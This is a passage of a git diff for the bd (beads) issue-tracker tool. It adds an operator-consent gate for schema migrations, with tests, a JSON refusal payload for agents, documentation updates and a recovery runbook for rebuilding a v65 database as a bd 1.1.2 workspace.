isMigrateConsentCommand(cmd *cobra.Command) bool { + return isSchemaMigrateVerb(cmd) && !isPreviewCommand(cmd) +} + // forcedMigratePreviewFlag returns the name of a preview flag (--dry-run, // --inspect) that conflicts with --force on a forced migrate invocation, or "" // when there is no conflict. The combination must be rejected BEFORE the store @@ -1751,6 +1778,12 @@ var rootCmd = &cobra.Command{ // discipline as the --force override above. schema.SetSharedMigrateConsent(isSchemaMigrateVerb(cmd) && !previewMode) + // The same verb carries migration consent on its own + // (migrate_consent.go): every other command refuses to apply pending + // schema migrations to an existing database. Same unconditional + // set-or-clear discipline as the gate override above. + schema.SetLocalMigrateConsent(isMigrateConsentCommand(cmd)) + // Auto-migrate database on version bump (bd-jgxi). // Runs for ALL non-preview commands (including read-only ones) because // the migration opens its own store connection, writes the version diff --git a/cmd/bd/migrate.go b/cmd/bd/migrate.go index db9596c7d..7ac75b2f1 100644 --- a/cmd/bd/migrate.go +++ b/cmd/bd/migrate.go @@ -880,9 +880,15 @@ var migrateSchemaCmd = &cobra.Command{ Short: "Apply pending schema migrations (idempotent)", Long: `Apply pending schema migrations idempotently. -Schema migrations also run automatically on store open, so this subcommand -is typically a no-op. It exists to make migration explicit and observable -in CI, release gates, and recovery scenarios. +bd does not apply pending schema migrations to an existing database without +the operator's consent, and running this command is that consent +(BD_ALLOW_MIGRATE=1 is the scripted form). On a remote-backed database the +remote-migrate gate still applies: --force confirms you are the single +designated migrator. Migrating is one-way: bd releases built for an older +schema refuse the migrated database. + +On an up-to-date database this is a no-op, so it is safe to run in CI, +release gates, and recovery scenarios. Example: bd migrate schema diff --git a/cmd/bd/migrate_consent.go b/cmd/bd/migrate_consent.go new file mode 100644 index 000000000..bd0255e6f --- /dev/null +++ b/cmd/bd/migrate_consent.go @@ -0,0 +1,56 @@ +package main + +import ( + "encoding/json" + "os" + + "github.com/steveyegge/beads/internal/storage/schema" +) + +// handleMigrateConsentJSON renders the migration-consent refusal as a +// structured JSON error block for agent consumption. +// +// It follows handleRemoteMigrateGateJSON's convention, for the same reason: +// migrating is one-way, so neither "error" nor the top-level "hint" carries a +// runnable remedy. "error" states the refusal, "hint" is the non-runnable +// operator-decision directive, and the migrate command lives only inside +// migrate_consent.options[migrate], gated on its precondition and annotated +// with its risk. Handing an agent `bd migrate schema` (or the consent +// environment variable) as "the fix" lets it migrate a database that an older +// bd still has to open; the env var stays out of this payload entirely. +func handleMigrateConsentJSON(e *schema.MigrateConsentError) { + outer := buildJSONError(e.Refusal(), e.AgentDirective()) + if m, ok := outer.(map[string]interface{}); ok { + opts := make([]map[string]interface{}, 0, len(e.Options())) + for _, o := range e.Options() { + commands := make([]string, len(o.Commands)) + for i, c := range o.Commands { + // Under --global the refused open aimed at beads_global, so the + // project-scoped verb would migrate the WRONG database and leave + // the refusal in place. Same retarget as the text path + // (printGlobalDatabaseConsentHint) and the shared-store gate. + if globalFlag && c == schema.SharedConsentCommand { + c = schema.SharedConsentCommandGlobal + } + commands[i] = c + } + opts = append(opts, map[string]interface{}{ + "id": o.ID, + "when": o.When, + "commands": commands, + "risk": o.Risk, + }) + } + m["migrate_consent"] = map[string]interface{}{ + "current_version": e.CurrentVersion, + "required_version": e.LatestVersion, + "pending": e.Pending, + "severity": "blocking", + "human_decision_required": true, + "options": opts, + } + } + encoder := json.NewEncoder(os.Stderr) + encoder.SetIndent("", " ") + _ = encoder.Encode(outer) +} diff --git a/cmd/bd/migrate_consent_test.go b/cmd/bd/migrate_consent_test.go new file mode 100644 index 000000000..02a21cf01 --- /dev/null +++ b/cmd/bd/migrate_consent_test.go @@ -0,0 +1,297 @@ +package main + +import ( + "context" + "encoding/json" + "fmt" + "strings" + "testing" + + sqlmock "github.com/DATA-DOG/go-sqlmock" + "github.com/spf13/pflag" + "github.com/steveyegge/beads/internal/storage/schema" +) + +// renderMigrateConsentJSON routes a wrapped consent refusal through +// renderTypedOpenError in --json mode, the way a refused store open reaches +// it, and returns the decoded payload and the raw text. +func renderMigrateConsentJSON(t *testing.T, refusal *schema.MigrateConsentError) (map[string]interface{}, string) { + t.Helper() + pinJSONOutput(t, true) + t.Setenv("BD_JSON_ENVELOPE", "") + + var handled bool + out := captureNoticeStderr(t, func() { + handled = renderTypedOpenError(fmt.Errorf("failed to open database: %w", refusal)) + }) + if !handled { + t.Fatal("renderTypedOpenError did not handle a wrapped MigrateConsentError") + } + var parsed map[string]interface{} + if err := json.Unmarshal([]byte(out), &parsed); err != nil { + t.Fatalf("json.Unmarshal stderr: %v\nstderr was: %s", err, out) + } + return parsed, out +} + +// migrateConsentOptions returns migrate_consent.options keyed by id. +func migrateConsentOptions(t *testing.T, parsed map[string]interface{}) map[string]map[string]interface{} { + t.Helper() + obj, ok := parsed["migrate_consent"].(map[string]interface{}) + if !ok { + t.Fatalf("migrate_consent key missing or wrong type: %T", parsed["migrate_consent"]) + } + rawOpts, ok := obj["options"].([]interface{}) + if !ok { + t.Fatalf("migrate_consent.options missing or wrong type: %T", obj["options"]) + } + byID := map[string]map[string]interface{}{} + for _, raw := range rawOpts { + o, ok := raw.(map[string]interface{}) + if !ok { + t.Fatalf("option has wrong type: %T", raw) + } + id, _ := o["id"].(string) + byID[id] = o + } + return byID +} + +func optionCommands(t *testing.T, o map[string]interface{}) []string { + t.Helper() + raw, ok := o["commands"].([]interface{}) + if !ok { + t.Fatalf("option %v: commands missing or not an array: %T", o["id"], o["commands"]) + } + commands := make([]string, 0, len(raw)) + for _, c := range raw { + s, _ := c.(string) + commands = append(commands, s) + } + return commands +} + +// TestHandleMigrateConsentJSON_Shape pins the agent-facing refusal to the +// remote-migrate gate's convention (#4259). Migrating is one-way, so the +// payload must not hand an agent a runnable migration as "the fix": the error +// names the refusal, the hint is the non-runnable directive, and the migrate +// command appears exactly once, inside the operator-gated migrate option. The +// consent environment variable must not appear at all. +func TestHandleMigrateConsentJSON_Shape(t *testing.T) { + orig := globalFlag + globalFlag = false + t.Cleanup(func() { globalFlag = orig }) + + refusal := &schema.MigrateConsentError{CurrentVersion: 65, LatestVersion: 69, Pending: 4} + parsed, raw := renderMigrateConsentJSON(t, refusal) + + if got := parsed["error"]; got != refusal.Refusal() { + t.Errorf("error = %v, want the remedy-free refusal %q", got, refusal.Refusal()) + } + if got := parsed["hint"]; got != refusal.AgentDirective() { + t.Errorf("hint = %v, want the directive %q", got, refusal.AgentDirective()) + } + for _, field := range []string{"error", "hint"} { + s, _ := parsed[field].(string) + if strings.Contains(s, schema.SharedConsentCommand) { + t.Errorf("%s must not carry the runnable migration %q: %q", field, schema.SharedConsentCommand, s) + } + } + if strings.Contains(raw, "BD_ALLOW") { + t.Errorf("the payload must not name a consent environment variable:\n%s", raw) + } + if n := strings.Count(raw, schema.SharedConsentCommand); n != 1 { + t.Errorf("%q appears %d times, want exactly once (inside options[migrate]):\n%s", + schema.SharedConsentCommand, n, raw) + } + + obj := parsed["migrate_consent"].(map[string]interface{}) + for key, want := range map[string]float64{"current_version": 65, "required_version": 69, "pending": 4} { + if got, ok := obj[key].(float64); !ok || got != want { + t.Errorf("%s = %v, want %v", key, obj[key], want) + } + } + if got := obj["severity"]; got != "blocking" { + t.Errorf("severity = %v, want \"blocking\"", got) + } + if got := obj["human_decision_required"]; got != true { + t.Errorf("human_decision_required = %v, want true", got) + } + + opts := migrateConsentOptions(t, parsed) + if len(opts) != 2 || opts["migrate"] == nil || opts["keep"] == nil { + t.Fatalf("options = %v, want exactly migrate and keep", opts) + } + if got := optionCommands(t, opts["migrate"]); len(got) != 1 || got[0] != schema.SharedConsentCommand { + t.Errorf("options[migrate].commands = %v, want [%q]", got, schema.SharedConsentCommand) + } + if got := optionCommands(t, opts["keep"]); len(got) != 0 { + t.Errorf("options[keep].commands = %v, want none", got) + } + if risk, _ := opts["migrate"]["risk"].(string); !strings.Contains(risk, "one-way") { + t.Errorf("options[migrate].risk must name the one-way risk: %q", risk) + } + for id, o := range opts { + if when, _ := o["when"].(string); when == "" { + t.Errorf("options[%s].when is empty; every option is gated on its precondition", id) + } + } +} + +// TestHandleMigrateConsentJSON_GlobalRetarget pins the --global retarget: the +// refused open aimed at beads_global, so the project-scoped verb would migrate +// the wrong database and leave the refusal in place. The command lives only +// inside the option, so that is where the retarget has to land. +func TestHandleMigrateConsentJSON_GlobalRetarget(t *testing.T) { + orig := globalFlag + globalFlag = true + t.Cleanup(func() { globalFlag = orig }) + + parsed, raw := renderMigrateConsentJSON(t, &schema.MigrateConsentError{CurrentVersion: 65, LatestVersion: 69, Pending: 4}) + + opts := migrateConsentOptions(t, parsed) + if got := optionCommands(t, opts["migrate"]); len(got) != 1 || got[0] != schema.SharedConsentCommandGlobal { + t.Errorf("options[migrate].commands = %v, want [%q]", got, schema.SharedConsentCommandGlobal) + } + if strings.Contains(raw, `"`+schema.SharedConsentCommand+`"`) { + t.Errorf("--global payload still names the project-scoped %q:\n%s", schema.SharedConsentCommand, raw) + } +} + +// TestRenderTypedOpenErrorMigrateConsentText covers the human path: the full +// UserMessage, plus the --global verb when the invocation targeted the global +// database, since the message itself cannot know which database was refused. +func TestRenderTypedOpenErrorMigrateConsentText(t *testing.T) { + pinJSONOutput(t, false) + orig := globalFlag + t.Cleanup(func() { globalFlag = orig }) + + refusal := &schema.MigrateConsentError{CurrentVersion: 65, LatestVersion: 69, Pending: 4} + wrapped := fmt.Errorf("failed to open database: %w", refusal) + + render := func() string { + t.Helper() + var handled bool + out := captureNoticeStderr(t, func() { handled = renderTypedOpenError(wrapped) }) + if !handled { + t.Fatal("renderTypedOpenError did not handle a wrapped MigrateConsentError") + } + return out + } + + globalFlag = false + if out := render(); out != refusal.UserMessage() { + t.Errorf("without --global the refusal is the UserMessage alone, got:\n%s", out) + } + + globalFlag = true + out := render() + if !strings.HasPrefix(out, refusal.UserMessage()) { + t.Errorf("under --global the UserMessage must still lead, got:\n%s", out) + } + if !strings.Contains(out, schema.SharedConsentCommandGlobal) { + t.Errorf("under --global the refusal must name %q, got:\n%s", schema.SharedConsentCommandGlobal, out) + } +} + +// TestLocalMigrateConsentScope pins which command lines consent to migrating +// an existing database. Only the verb that names the migration does, plus +// --force on either migrate command. Bare `bd migrate` reconciles metadata and +// never needed the gate open, so letting it consent made +// `bd migrate --update-repo-id` (repo-fingerprint surgery) a one-way schema +// migration as a side effect. +// +// Each line is resolved through the same cobra lookup and fed to the same +// predicates as the root pre-run (isForcedMigrate, isMigrateConsentCommand), +// then the real gate runs against an existing database one migration behind. +func TestLocalMigrateConsentScope(t *testing.T) { + for _, tt := range []struct { + cmdline string + consents bool + }{ + {cmdline: "bd migrate schema", consents: true}, + {cmdline: "bd migrate schema --force", consents: true}, + {cmdline: "bd migrate --force", consents: true}, + {cmdline: "bd migrate", consents: false}, + {cmdline: "bd migrate --update-repo-id", consents: false}, + {cmdline: "bd migrate --inspect", consents: false}, + {cmdline: "bd migrate --dry-run", consents: false}, + {cmdline: "bd list", consents: false}, + } { + t.Run(tt.cmdline, func(t *testing.T) { + err := runLocalConsentGate(t, tt.cmdline, tt.consents) + if tt.consents { + // Programmatic consent short-circuits the gate before its version + // reads, and those reads would fail here with "migrate consent:" + // (the mock expects nothing). Whatever MigrateUp hit past the gate + // is not this test's concern. + if schema.IsMigrateConsentError(err) || (err != nil && strings.Contains(err.Error(), "migrate consent:")) { + t.Fatalf("%q must consent, but the gate ran: %v", tt.cmdline, err) + } + return + } + if !schema.IsMigrateConsentError(err) { + t.Fatalf("%q must not consent; want the consent refusal, got %T: %v", tt.cmdline, err, err) + } + }) + } +} + +// runLocalConsentGate replays the root pre-run's two consent lines for +// cmdline and runs MigrateUp. A consenting line must not reach the gate's +// reads, so its mock expects nothing; a refusing one gets the gate's reads +// for an existing database one migration behind. +func runLocalConsentGate(t *testing.T, cmdline string, consents bool) error { + t.Helper() + t.Setenv(schema.AllowMigrateEnv, "") + t.Setenv(schema.AllowRemoteMigrateEnv, "") + + args := strings.Fields(strings.TrimPrefix(cmdline, "bd ")) + target, rest, err := rootCmd.Find(args) + if err != nil { + t.Fatalf("%q does not resolve to a command: %v", cmdline, err) + } + if err := target.ParseFlags(rest); err != nil { + t.Fatalf("%q: flags do not parse: %v", cmdline, err) + } + t.Cleanup(func() { + // Package-level cobra singletons: a parsed flag would outlive this + // test and silently consent for the next one. + target.Flags().VisitAll(func(f *pflag.Flag) { + if !f.Changed { + return + } + _ = f.Value.Set(f.DefValue) + f.Changed = false + }) + schema.SetForceAllowRemoteMigrate(false) + schema.SetLocalMigrateConsent(false) + }) + + // The two lines the root pre-run runs, verbatim in effect. + schema.SetForceAllowRemoteMigrate(isForcedMigrate(target)) + schema.SetLocalMigrateConsent(isMigrateConsentCommand(target)) + + db, mock, err := sqlmock.New() + if err != nil { + t.Fatal(err) + } + defer db.Close() + if !consents { + for range 2 { + mock.ExpectQuery(`SELECT COUNT\(\*\) FROM information_schema\.tables`). + WithArgs("schema_migrations"). + WillReturnRows(sqlmock.NewRows([]string{"count"}).AddRow(1)) + mock.ExpectQuery(`SELECT COALESCE\(MAX\(version\), 0\) FROM schema_migrations`). + WillReturnRows(sqlmock.NewRows([]string{"version"}).AddRow(schema.LatestVersion() - 1)) + } + } + + _, gateErr := schema.MigrateUp(context.Background(), db) + if !consents { + if err := mock.ExpectationsWereMet(); err != nil { + t.Fatalf("unmet expectations for %q: %v", cmdline, err) + } + } + return gateErr +} diff --git a/cmd/bd/store_factory.go b/cmd/bd/store_factory.go index 4b7a0c588..1d7564a54 100644 --- a/cmd/bd/store_factory.go +++ b/cmd/bd/store_factory.go @@ -102,7 +102,8 @@ func newDoltStore(ctx context.Context, cfg *dolt.Config) (s storage.DoltStorage, // Working-set-reconcile commands (bd dolt commit, bd vc commit) must // not be bricked by a pending-migration dirty-table refusal: that // refusal's documented recovery is exactly the commit these commands - // run, so failing the open here would deadlock (#4566). The server + // run, so failing the open here would deadlock (#4566). The same goes + // for the migration-consent refusal that precedes it. The server // arm above honors the same cfg.LenientOpen inside dolt.New; this // branch is the embedded half of one policy, not the whole of it. return embeddeddolt.OpenForWorkingSetReconcile(ctx, cfg.BeadsDir, cfg.Database, "main") diff --git a/docs/docs.json b/docs/docs.json index fbd0bc97b..c0d78f016 100644 --- a/docs/docs.json +++ b/docs/docs.json @@ -276,6 +276,7 @@ "recovery/circular-dependencies", "recovery/sync-failures", "recovery/history-squash", + "recovery/unmigrate-schema-v65", "recovery/uninstalling" ] }, diff --git a/docs/getting-started/installation.md b/docs/getting-started/installation.md index a020167a1..89a25474b 100644 --- a/docs/getting-started/installation.md +++ b/docs/getting-started/installation.md @@ -448,7 +448,7 @@ Upgrade checklist: `bd version` 5. If crossing a schema migration on a remote-backed database, only the designated migrator runs: - `bd migrate` + `bd migrate schema` `bd dolt push` Other clones should install the new binary and run `bd bootstrap`, not diff --git a/docs/getting-started/quickstart.md b/docs/getting-started/quickstart.md index 814e01902..2da0e3199 100644 --- a/docs/getting-started/quickstart.md +++ b/docs/getting-started/quickstart.md @@ -312,7 +312,7 @@ In server mode, data is managed by the external `dolt sql-server`. ## Migrating databases -After upgrading bd, use `bd migrate` to check for and migrate old database files: +After upgrading bd, check for pending database migrations and apply them: ```bash # Inspect migration plan (AI agents) @@ -324,8 +324,8 @@ bd info --schema --json # Preview migration changes bd migrate --dry-run -# Migrate old databases to beads.db -bd migrate +# Apply pending schema migrations +bd migrate schema # Migrate and clean up old files bd migrate --yes diff --git a/docs/getting-started/upgrading.md b/docs/getting-started/upgrading.md index da9c5330e..717dfbd91 100644 --- a/docs/getting-started/upgrading.md +++ b/docs/getting-started/upgrading.md @@ -34,7 +34,7 @@ bd info --whats-new `bd version` 5. If crossing a schema migration on a remote-backed database, only the designated migrator runs: - `bd migrate` + `bd migrate schema` `bd dolt push` Other clones must not migrate independently. After the migrator pushes, each @@ -139,7 +139,7 @@ bd migrate --inspect --json bd migrate --dry-run # Apply migrations -bd migrate +bd migrate schema # Migrate and clean up old files bd migrate --yes @@ -307,7 +307,7 @@ also copy the `.beads` directory (or `dolt backup` in server mode) while no bd dolt push # 1. CURRENT binary: publish all local work bd export --all -o .beads/backup/pre-migrate.jsonl # 2. backup (see above) # 3. install the new binary (see Upgrading above) -bd migrate # 4. migrate as the designated migrator +bd migrate schema # 4. migrate as the designated migrator bd dolt push # 5. publish the migrated schema bd version # 6. confirm the new version is active ``` @@ -317,10 +317,10 @@ migrating here as the designated migrator, adopting the remote's already-migrate database, or recovering a fork — and asks for an explicit operator decision. Follow the guidance it prints. -For scripted or CI upgrades where nobody reads the output, run `bd migrate` as -an explicit step in exactly one job, never in all of them. If the gate blocks a -run it prints both the available options and the scripted override that fits -the situation. +For scripted or CI upgrades where nobody reads the output, run +`bd migrate schema` as an explicit step in exactly one job, never in all of +them. If the gate blocks a run it prints both the available options and the +scripted override that fits the situation. **Multiple clones sharing one remote:** @@ -332,7 +332,7 @@ bd dolt pull bd export --all -o .beads/backup/pre-migrate.jsonl # 2. Designated migrator ONLY: install the new binary, then migrate and publish. -bd migrate +bd migrate schema bd dolt push # 3. Every OTHER clone, after the migrator has pushed: pull the migrated @@ -538,9 +538,11 @@ bridge below accepts SQLite sources only. ### `.beads/embeddeddolt/`: direct upgrade -Upgrade the binary and run: +Upgrade the binary, apply the pending schema migrations, and update the +database metadata: ```bash +bd migrate schema bd migrate ``` @@ -589,8 +591,8 @@ metadata is missing or leaves `dolt_mode` blank/`embedded`; it does not override an explicit server selection with a local root. Compatibility admission cannot prove that a workspace is modern. If you know it was created by v0.55.4 through v0.62.0, use this explicit bridge even when its witness was lost or damaged. -Otherwise, follow the normal `bd migrate --dry-run` and `bd migrate` flow for -an admitted server workspace. +Otherwise, follow the normal `bd migrate --dry-run` and `bd migrate schema` +flow for an admitted server workspace. ### One `.beads/*.db` file: sealed SQLite bridge @@ -653,7 +655,7 @@ bd hooks install ```bash bd migrate --dry-run -bd migrate +bd migrate schema ``` ### Recovery after upgrade diff --git a/docs/recovery/accidental-1-2-1-release.md b/docs/recovery/accidental-1-2-1-release.md index c5e0f8d47..2e9a7061b 100644 --- a/docs/recovery/accidental-1-2-1-release.md +++ b/docs/recovery/accidental-1-2-1-release.md @@ -118,3 +118,7 @@ database directory, install v1.2.2, then `bd import backup.jsonl`. Caveats: issues deleted after the upgrade come back (import cannot re-delete), and audit events recorded while on v1.2.1 are lost. Most users should prefer the cursor rollback above. + +To rebuild a 1.1.2-compatible workspace from a full export instead, keeping +the migrated original aside, see +[Un-migrate from Schema v65](/recovery/unmigrate-schema-v65). diff --git a/docs/recovery/index.md b/docs/recovery/index.md index 647d6ff0d..b23632602 100644 --- a/docs/recovery/index.md +++ b/docs/recovery/index.md @@ -10,6 +10,7 @@ This section provides step-by-step recovery procedures for common Beads issues. | Issue | Symptoms | Runbook | |-------|----------|---------| | Schema Version Mismatch | `bd` refuses with `schema version mismatch: database is at vNN, binary knows up to vNN` | [Accidental v1.2.1 Release](/recovery/accidental-1-2-1-release) | +| Going Back from v65 | A database bd 1.2.x migrated to v65 has to work with bd 1.1.2 again, rebuilt from a full export | [Un-migrate from Schema v65](/recovery/unmigrate-schema-v65) | | Init Safety Refusals | `bd init` or `bd dolt` refuses with a pattern code like `pk-fork-refused` | [Recovery Playbooks](/recovery/init-safety) | | Database Corruption | Database errors, missing data | [Database Corruption](/recovery/database-corruption) | | Merge Conflicts | Dolt conflicts during sync | [Merge Conflicts](/recovery/merge-conflicts) | diff --git a/docs/recovery/unmigrate-schema-v65.md b/docs/recovery/unmigrate-schema-v65.md new file mode 100644 index 000000000..14cb62d25 --- /dev/null +++ b/docs/recovery/unmigrate-schema-v65.md @@ -0,0 +1,91 @@ +--- +title: Un-migrate from Schema v65 +description: Move a database that bd 1.2.x auto-migrated back to a 1.1.2-compatible workspace, keeping all data +--- + +The 1.2.0/1.2.1 releases migrated existing databases to schema v65 +automatically, on any command — including reads. If your database was +migrated and you want to go back to bd 1.1.2 (whose binaries refuse a v65 +database with `schema version mismatch: database is at v65, binary knows up +to v53`), this runbook rebuilds a 1.1.2-compatible workspace from a full +export. It is written to be executable by an agent as-is. + +There is no in-place down-migration. The procedure is export → set aside → +fresh init → import. If you only need the 1.1 line to open the database +again, the cursor rollback in +[Accidental v1.2.1 Release](/recovery/accidental-1-2-1-release) is shorter +and keeps the Dolt history in place. + +**What survives** (verified): issues with statuses and close reasons, +dependencies, comments, notes, labels, memories, and wisps (with +`--all`). +**What does not**: Dolt commit history and the events/telemetry audit +tables. Both remain readable in the set-aside `.beads.v65.bak` directory — +nothing is deleted. + + +Run every step with the binaries it names: the EXPORT runs under the 1.2.x +binary that matches the database; the INIT and IMPORT run under the 1.1.2 +binary you are returning to. Mixing them up fails closed (schema-skew guard), +but re-running the whole sequence from the top is the only supported retry. + + +## Preconditions + +1. **Stop anything that writes to this workspace** — supervisors, watchers, + hooks on a timer. +2. **Server mode: stop the dolt sql-server** serving this database + (`bd dolt stop`, or stop the process that owns it). For a SHARED server + database, coordinate with the other clients first — after this procedure + they must re-clone or run it too; do not un-migrate a shared database + unilaterally. +3. Install (or locate) a **bd 1.1.2 binary** alongside the current one. GitHub + releases: tag `v1.1.2`. Keep both paths handy; the steps name which one to + use. +4. Run from the directory that CONTAINS `.beads/`. + +## Procedure + +```bash +# 1. Full export, with the 1.2.x binary the database currently matches. +bd export --all -o snapshot.jsonl +# Sanity: the file is non-empty and its line count is plausible for +# your workspace. +wc -l snapshot.jsonl + +# 2. Set the migrated workspace aside. Salvage-first: rename, never delete. +mv .beads .beads.v65.bak + +# 3. Fresh init under the 1.1.2 binary (creates a v53-schema workspace). +# Use the same issue prefix as before. +bd-1.1.2 init --prefix + +# 4. Import the snapshot under the 1.1.2 binary. +bd-1.1.2 import snapshot.jsonl +``` + +## Verify + +```bash +# Counts match your expectations (compare against the export): +bd-1.1.2 list -n 0 --status all | tail -3 +# A known issue round-trips with its comments/labels/deps: +bd-1.1.2 show +# Memories survived: +bd-1.1.2 memories | head +``` + +If anything is missing, the migrated original is intact in `.beads.v65.bak`: +restore it with `mv .beads .beads.failed && mv .beads.v65.bak .beads` and use +a 1.2.x binary with it while you retry. + +## Afterwards + +- Keep `.beads.v65.bak` until you are confident; it holds the Dolt history + and audit tables the import does not carry. +- Pin your install to 1.1.2 until a release whose default does not migrate + your database is available; see the release notes of the version that sent + you here. +- If this workspace had a Dolt remote, the remote still holds the MIGRATED + history. Do not push the rebuilt workspace over it without deciding which + side is canonical; a fresh remote is the simple safe choice. diff --git a/internal/storage/dolt/lenient_open_dirty_tables_integration_test.go b/internal/storage/dolt/lenient_open_dirty_tables_integration_test.go index e8eaa0727..d7beeec97 100644 --- a/internal/storage/dolt/lenient_open_dirty_tables_integration_test.go +++ b/internal/storage/dolt/lenient_open_dirty_tables_integration_test.go @@ -122,6 +122,71 @@ func TestServerModeLenientOpenDirtyTableGate(t *testing.T) { } }) + // The migration-consent refusal fires before the dirty guard, so on a + // database that is both behind and dirty the unconsented commit the + // guard prescribes would rebuild this deadlock one check earlier. + t.Run("behind and dirty database without consent recovers through a lenient open", func(t *testing.T) { + const database = "lenient_consent" + admin := prepareLenientOpenDatabaseAtV51(t, ctx, state.Port, database) + defer admin.Close() + + if _, err := admin.ExecContext(ctx, + "INSERT INTO issues (id, title, description, design, acceptance_criteria, notes) VALUES (?, ?, '', '', '', '')", + database+"-1", "uncommitted issue", + ); err != nil { + t.Fatalf("dirty issues table: %v", err) + } + + schema.SetLocalMigrateConsent(false) + t.Cleanup(func() { schema.SetLocalMigrateConsent(true) }) + t.Setenv(schema.AllowMigrateEnv, "") + t.Setenv(schema.AllowRemoteMigrateEnv, "") + + refuses := func(name string, cfg *Config) { + t.Helper() + s, err := New(ctx, cfg) + if err == nil { + s.Close() + t.Fatalf("New (%s) = nil, want *schema.MigrateConsentError", name) + } + if !schema.IsMigrateConsentError(err) { + t.Fatalf("New (%s) error = %T (%v), want *schema.MigrateConsentError", name, err, err) + } + } + refuses("plain writable open", lenientOpenConfig(beadsDir, state.Port, database)) + syncCfg := lenientOpenConfig(beadsDir, state.Port, database) + syncCfg.RemoteSyncOpen = true + refuses("RemoteSyncOpen", syncCfg) + + lenientCfg := lenientOpenConfig(beadsDir, state.Port, database) + lenientCfg.LenientOpen = true + store, err := New(ctx, lenientCfg) + if err != nil { + t.Fatalf("New (LenientOpen) = %v, want it to continue past the consent refusal", err) + } + defer store.Close() + if got := lenientOpenSchemaVersion(t, ctx, store.db); got != 51 { + t.Fatalf("schema version after lenient open = %d, want 51 (no consent, so no migration)", got) + } + if err := store.Commit(ctx, "checkpoint before migration"); err != nil { + t.Fatalf("Commit: %v", err) + } + if got := lenientOpenDirtyCount(t, ctx, store.db); got != 0 { + t.Fatalf("dolt_status rows after commit = %d, want 0", got) + } + store.Close() + + schema.SetLocalMigrateConsent(true) + migrated, err := New(ctx, lenientOpenConfig(beadsDir, state.Port, database)) + if err != nil { + t.Fatalf("New (consented, post-commit): %v", err) + } + defer migrated.Close() + if got := lenientOpenSchemaVersion(t, ctx, migrated.db); got != schema.LatestVersion() { + t.Fatalf("schema version after consented open = %d, want latest %d", got, schema.LatestVersion()) + } + }) + t.Run("clean database still migrates through a lenient open", func(t *testing.T) { const database = "lenient_clean" admin := prepareLenientOpenDatabaseAtV51(t, ctx, state.Port, database) diff --git a/internal/storage/dolt/store.go b/internal/storage/dolt/store.go index 2dc8e0a13..e04352b54 100644 --- a/internal/storage/dolt/store.go +++ b/internal/storage/dolt/store.go @@ -392,14 +392,15 @@ type Config struct { // would make it eligible to sweep. ClassifiedRead bool - // LenientOpen opens the store leniently: a migration gate refusal (#4259) - // or a dirty-working-set refusal (#4566) skips the migration instead of - // failing the open. Set for working-set-reconcile commands (bd dolt - // commit, bd vc commit; #4566), whose entire purpose is to clear the - // working set that the migration would otherwise refuse to touch. - // Honored in embedded and server mode alike. Migrations still RUN on a - // lenient open — only those two refusals are tolerated — so a lenient - // open of a clean database converges normally. + // LenientOpen opens the store leniently: a migration gate refusal (#4259), + // a dirty-working-set refusal (#4566) or a migration-consent refusal + // skips the migration instead of failing the open. Set for + // working-set-reconcile commands (bd dolt commit, bd vc commit; #4566), + // whose entire purpose is to clear the working set that the migration + // would otherwise refuse to touch. Honored in embedded and server mode + // alike. Migrations still RUN on a lenient open — only those refusals are + // tolerated — so a lenient open of a clean database with consent to + // migrate converges normally. LenientOpen bool // RemoteSyncOpen is LenientOpen's narrow sibling for the #6575 @@ -2261,8 +2262,9 @@ func newServerMode(ctx context.Context, cfg *Config) (*DoltStore, error) { return nil, fmt.Errorf("failed to initialize schema: %w", err) } // A tolerated refusal still reports what the aborted pass - // applied (0 for both guards today, since each refuses before - // migrating), so the rebuild below stays correct either way. + // applied (0 for every tolerated refusal today, since each + // refuses before migrating), so the rebuild below stays correct + // either way. } // initSchema runs migrations over a separate pool (openMigrationDB). // The Ping above already pinned a connection in store.db to the @@ -2300,14 +2302,15 @@ func newServerMode(ctx context.Context, cfg *Config) (*DoltStore, error) { // warnLenientOpenRefusal reports whether a lenient open (Config.LenientOpen) // may continue past err instead of failing, warning on stderr when it may. // -// Server mode reaches the same two pending-migration refusals embedded mode +// Server mode reaches the same pending-migration refusals embedded mode // relaxes for this intent (embeddeddolt's openWorkingSetReconcile): the #4566 // dirty-table guard, whose documented recovery IS the commit these opens exist -// to run, and the #4259 remote-migrate gate, a coordination stop with no -// business blocking a commit of the local working set. Against an external -// server the operator cannot sidestep either by deleting a local database, so -// leaving them fatal here left the refusals with no in-band recovery at all -// (#5781). +// to run; the migration-consent refusal, which fires before that guard and so +// would rebuild the same deadlock on a database both behind and dirty; and +// the #4259 remote-migrate gate, a coordination stop with no business blocking +// a commit of the local working set. Against an external server the operator +// cannot sidestep any of them by deleting a local database, so leaving them +// fatal here left the refusals with no in-band recovery at all (#5781). // // Every other migration failure still fails the open, and the schema-skew and // identity guards run before this point either way: lenient relaxes migration, @@ -2318,10 +2321,15 @@ func warnLenientOpenRefusal(err error) bool { fmt.Fprintf(os.Stderr, "Warning: %v\n"+ " Committing the working set at the current schema; when it completes,\n"+ - " re-run 'bd migrate'.\n", + " re-run 'bd migrate schema'.\n", dirtyErr) return true } + var consentErr *schema.MigrateConsentError + if errors.As(err, &consentErr) { + fmt.Fprint(os.Stderr, consentErr.WorkingSetWarning()) + return true + } var gateErr *schema.RemoteMigrateGateError if errors.As(err, &gateErr) { fmt.Fprintf(os.Stderr, diff --git a/internal/storage/dolt/testmain_test.go b/internal/storage/dolt/testmain_test.go index 12ce7eb7b..2acb6e4af 100644 --- a/internal/storage/dolt/testmain_test.go +++ b/internal/storage/dolt/testmain_test.go @@ -9,6 +9,7 @@ import ( "testing" "github.com/steveyegge/beads/internal/doltserver" + "github.com/steveyegge/beads/internal/storage/schema" "github.com/steveyegge/beads/internal/testutil" "github.com/steveyegge/beads/internal/testutil/credentialcmd" ) @@ -57,6 +58,11 @@ func TestMain(m *testing.M) { } func testMainInner(m *testing.M) int { + // Package-wide migration consent: these tests exercise the machinery that + // runs BELOW the consent gate (migrate_consent.go), exactly as production + // does once an operator has consented. Gate-behavior tests manage the + // consent state themselves. + schema.SetLocalMigrateConsent(true) os.Setenv("BEADS_TEST_MODE", "1") // BEADS_TEST_PDEATHSIG=1 protects TestMultiProcessSchemaInit_DoltVerify // (initschema_multiprocess_test.go), which calls doltserver.Start diff --git a/internal/storage/embeddeddolt/BUILD.bazel b/internal/storage/embeddeddolt/BUILD.bazel index a2fb5266a..181e37e32 100644 --- a/internal/storage/embeddeddolt/BUILD.bazel +++ b/internal/storage/embeddeddolt/BUILD.bazel @@ -176,6 +176,7 @@ go_test( "merge_blockers_test.go", "merge_strategy_test.go", "metadata_cas_contract_test.go", + "migrate_consent_gate_test.go", 